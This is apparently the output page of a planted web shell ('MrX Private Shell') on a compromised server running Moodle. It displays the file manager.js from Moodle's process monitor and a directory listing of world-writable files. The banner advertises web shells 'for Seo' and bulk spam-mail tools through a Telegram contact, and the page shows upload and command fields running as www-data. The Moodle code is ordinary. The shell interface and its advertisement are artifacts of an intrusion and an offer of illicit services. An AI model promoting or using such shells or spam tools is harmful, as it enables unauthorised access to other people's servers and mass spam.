__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/**
 * The course file uploader.
 *
 * This module is used to upload files directly into the course.
 *
 * @module     core/local/process_monitor/manager
 * @copyright  2022 Ferran Recio <ferran@moodle.com>
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */

import {Reactive} from 'core/reactive';
import {eventTypes, dispatchStateChangedEvent} from 'core/local/process_monitor/events';

const initialState = {
    display: {
        show: false,
    },
    queue: [],
};

/**
 * The reactive file uploader class.
 *
 * As all the upload queues are reactive, any plugin can implement its own upload monitor.
 *
 * @module     core/local/process_monitor/manager
 * @class      ProcessMonitorManager
 * @copyright  2021 Ferran Recio <ferran@moodle.com>
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
class ProcessMonitorManager extends Reactive {
    /**
     * The next process id to use.
     *
     * @attribute nextId
     * @type number
     * @default 1
     * @package
     */
    nextId = 1;

    /**
     * Generate a unique process id.
     * @return {number} a generated process Id
     */
    generateProcessId() {
        return this.nextId++;
    }
}

/**
 * @var {Object} mutations the monitor mutations.
 */
const mutations = {
    /**
     * Add a new process to the queue.
     *
     * @param {StateManager} stateManager the current state manager
     * @param {Object} processData the upload id to finish
     */
    addProcess: function(stateManager, processData) {
        const state = stateManager.state;
        stateManager.setReadOnly(false);
        state.queue.add({...processData});
        state.display.show = true;
        stateManager.setReadOnly(true);
    },

    /**
     * Remove a process from the queue.
     *
     * @param {StateManager} stateManager the current state manager
     * @param {Number} processId the process id
     */
    removeProcess: function(stateManager, processId) {
        const state = stateManager.state;
        stateManager.setReadOnly(false);
        state.queue.delete(processId);
        if (state.queue.size === 0) {
            state.display.show = false;
        }
        stateManager.setReadOnly(true);
    },

    /**
     * Update a process process to the queue.
     *
     * @param {StateManager} stateManager the current state manager
     * @param {Object} processData the upload id to finish
     * @param {Number} processData.id the process id
     */
    updateProcess: function(stateManager, processData) {
        if (processData.id === undefined) {
            throw Error(`Missing process ID in process data`);
        }
        const state = stateManager.state;
        stateManager.setReadOnly(false);
        const queueItem = state.queue.get(processData.id);
        if (!queueItem) {
            throw Error(`Unkown process with id ${processData.id}`);
        }
        for (const [prop, propValue] of Object.entries(processData)) {
            queueItem[prop] = propValue;
        }
        stateManager.setReadOnly(true);
    },

    /**
     * Set the monitor show attribute.
     *
     * @param {StateManager} stateManager the current state manager
     * @param {Boolean} show the show value
     */
    setShow: function(stateManager, show) {
        const state = stateManager.state;
        stateManager.setReadOnly(false);
        state.display.show = show;
        if (!show) {
            this.cleanFinishedProcesses(stateManager);
        }
        stateManager.setReadOnly(true);
    },

    /**
     * Remove a processes from the queue.
     *
     * @param {StateManager} stateManager the current state manager
     */
    removeAllProcesses: function(stateManager) {
        const state = stateManager.state;
        stateManager.setReadOnly(false);
        state.queue.forEach((element) => {
            state.queue.delete(element.id);
        });
        state.display.show = false;
        stateManager.setReadOnly(true);
    },

    /**
     * Clean all finished processes.
     *
     * @param {StateManager} stateManager the current state manager
     */
    cleanFinishedProcesses: function(stateManager) {
        const state = stateManager.state;
        stateManager.setReadOnly(false);
        state.queue.forEach((element) => {
            if (element.finished && !element.error) {
                state.queue.delete(element.id);
            }
        });
        if (state.queue.size === 0) {
            state.display.show = false;
        }
        stateManager.setReadOnly(true);
    },
};

const manager = new ProcessMonitorManager({
    name: `ProcessMonitor`,
    eventName: eventTypes.processMonitorStateChange,
    eventDispatch: dispatchStateChangedEvent,
    mutations: mutations,
    state: initialState,
});

export {manager};

Filemanager

Name Type Size Permission Actions
events.js File 1.86 KB 0777
loadingprocess.js File 5.6 KB 0777
manager.js File 5.37 KB 0777
monitor.js File 3.59 KB 0777
process.js File 3.58 KB 0777
processqueue.js File 3.55 KB 0777
Filemanager